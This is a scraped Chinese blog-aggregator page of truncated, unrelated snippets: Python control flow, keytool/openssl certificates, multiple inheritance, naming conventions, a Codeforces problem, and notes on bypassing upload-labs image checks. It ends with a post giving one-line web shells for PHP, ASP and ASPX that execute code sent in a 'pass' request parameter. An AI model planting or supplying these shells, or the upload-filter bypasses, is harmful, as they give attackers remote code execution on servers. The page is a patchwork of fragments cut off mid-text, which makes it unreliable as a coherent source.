pass

Python 入门之流程控制语句

僤鯓⒐⒋嵵緔 提交于 2019-11-28 13:46:55
Python 入门之流程控制语句 1、if判断 (1) 单 if if –-如果 if 条件: 缩进 结果 (官方推荐4个空格,或者一个tab 不能空格和tab混合使用) money = 10 print("从学校出发") if money >= 10: print("买个炸鸡") print("买个啤酒") print("走啊走") print("到家了") (2) if else - - 二选一: if 条件: 缩进 结果 else: 缩进 结果 if 3>2: print("这是如果执行了") print("123") print("234") else: print("这是否则执行了") (3) if elif elif elif ---多选一或不选 if 条件: 缩进 结果 elif 条件: 缩进 结果 elif 条件: 缩进 结果 if 3>2: print("这是A") elif 4>3: print("这是B") elif 5>3: print("这是C") elif 6>3: print("这是D") (4) if elif elif else --多选一 if 条件: 缩进 结果 elif 条件: 缩进 结果 elif 条件: 缩进 结果 else 条件: 缩进 结果 if 1>2: print("A") elif 2>3: print("B") elif 5

keytool和openssl生成的证书转换

本秂侑毒 提交于 2019-11-28 13:33:41
keytool和openssl生成的证书转换 keytool生成证书示例 生成私钥+证书: keytool -genkey -alias client -keysize 2048 -validity 3650 -keyalg RSA -dname "CN=localhost" -keypass $client_passwd -storepass $client_passwd -keystore ClientCert.jks 生成文件文件ClientCert.jks。 导出证书: ~/tmp/cert# keytool -export -alias client -keystore ClientCert.jks -storepass $client_passwd -file ClientCert.crt Certificate stored in file <ClientCert.crt> ~/tmp/cert# ll total 8 -rw-r--r-- 1 root root 715 Jun 14 20:24 ClientCert.crt -rw-r--r-- 1 root root 2066 Jun 14 20:21 ClientCert.jks keytool工具不支持导出私钥。 openssl生成证书示例 生成公钥私钥: ~/tmp/cert# openssl genrsa

多继承

我只是一个虾纸丫 提交于 2019-11-28 13:11:56
Python允许从多个父类继承 , 称为多重继承 class A(object): def __init__(self, a): print 'init A...' self.a = a class B(A): def __init__(self, a): super(B, self).__init__(a) print 'init B...' class C(A): def __init__(self, a): super(C, self).__init__(a) print 'init C...' class D(B, C): def __init__(self, a): super(D, self).__init__(a) print 'init D...' 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 多重继承通过 super()调用__init__()方法时 , A 虽然被继承了两次,但__init__()只调用一次 实例 class Person(object): pass class Student(Person): pass class Teacher(Person): pass class SkillMixin(object): pass class BasketballMixin(SkillMixin): def

零基础如何学好python?Python代码规范之命名规范

岁酱吖の 提交于 2019-11-28 09:43:04
目录 1、模块 模块尽量使用小写命名,首字母保持小写,尽量不要用下划线(除非多个单词,且数量不多的情况) 1 ''' 2 在学习过程中有什么不懂得可以加我的 3 python学习交流扣扣qun,934109170 4 群里有不错的学习教程、开发工具与电子书籍。 5 与你分享python企业当下人才需求及怎么从零基础学习好python,和学习什么内容。 6 ''' 7 # 正确的模块名 8 import decoder 9 import html_parser 10 11 # 不推荐的模块名 12 import Decoder 2、类名 类名使用驼峰(CamelCase)命名风格,首字母大写,私有类可用一个下划线开头 1 class Farm(): 2 pass 3 4 class AnimalFarm(Farm): 5 pass 6 7 class _PrivateFarm(Farm): 8 pass 将相关的类和顶级函数放在同一个模块里. 不像Java, 没必要限制一个类一个模块. 3、函数 函数名一律小写,如有多个单词,用下划线隔开 1 def run(): 2 pass 3 4 def run_with_env(): 5 pass 私有函数在函数前加一个下划线_ 1 class Person(): 2 3 def _private_func(): 4 pass 4、变量名

Codeforces 1185C2 【模拟】

拥有回忆 提交于 2019-11-28 00:49:38
C2. Exam in BerSU (hard version) The only difference between easy and hard versions is constraints. If you write a solution in Python, then prefer to send it in PyPy to speed up execution time. A session has begun at Beland State University. Many students are taking exams. Polygraph Poligrafovich is going to examine a group of n students. Students will take the exam one-by-one in order from 1-th to n-th. Rules of the exam are following: The i-th student randomly chooses a ticket. if this ticket is too hard to the student, he doesn’t answer and goes home immediately (this process is so fast

百万年薪python之路 -- 面向对象之继承

可紊 提交于 2019-11-27 21:48:25
面向对象之继承 1.什么是面向对象的继承 继承(英语:inheritance)是面向对象软件技术当中的一个概念。 通俗易懂的理解是:子承父业,合法继承家产 专业的理解是:子类可以完全使用父类的方法和属性 如果一个类A"继承自"另一个类B,则把类A称为类B的子类(或派生类),把类B称为父类(或超类或基类) 继承可以使得子类具有父类的各种属性和方法,而不需要再次编写相同的代码。在令子类继承父类的同时,可以重新定义某些属性,并重写某些方法,即覆盖父类的原有属性和方法,使其获得与父类不同的功能。 class Person: def __init__(self,name,sex,age): self.name = name self.age = age self.sex = sex class Cat: def __init__(self,name,sex,age): self.name = name self.age = age self.sex = sex class Dog: def __init__(self,name,sex,age): self.name = name self.age = age self.sex = sex # 继承的用法: class Aniaml(object): def __init__(self,name,sex,age): self.name =

upload-master-pass15

最后都变了- 提交于 2019-11-27 18:22:54
第十五关 提示 “pass使用exif_imagetype()检查是否为图片文件!” exif_imagetype() 读取一个图像的第一个字节并检查其签名。 这样可以避免修改后缀名来进行绕过 但同样可以上传图片马来进行绕过 来源: https://www.cnblogs.com/gaonuoqi/p/11372066.html

upload-master-pass14

陌路散爱 提交于 2019-11-27 16:29:37
第十四关 提示 “本pass使用getimagesize()检查是否为图片文件” getimagesize 通过检查图像文件的大小并返回图像的尺寸以及文件类型 还是上传图片马进行绕过,步骤同十三关 来源: https://www.cnblogs.com/gaonuoqi/p/11370221.html

一句话木马

允我心安 提交于 2019-11-27 15:55:41
php   <?php @eval($_post['pass']);?> asp  <% eval request ( "pass")%> aspx   <%@ Page Language= "Jscript"%> <% eval( Request.Item[ "pass"], "unsafe");%> 来源: https://www.cnblogs.com/jiersixi/p/11369311.html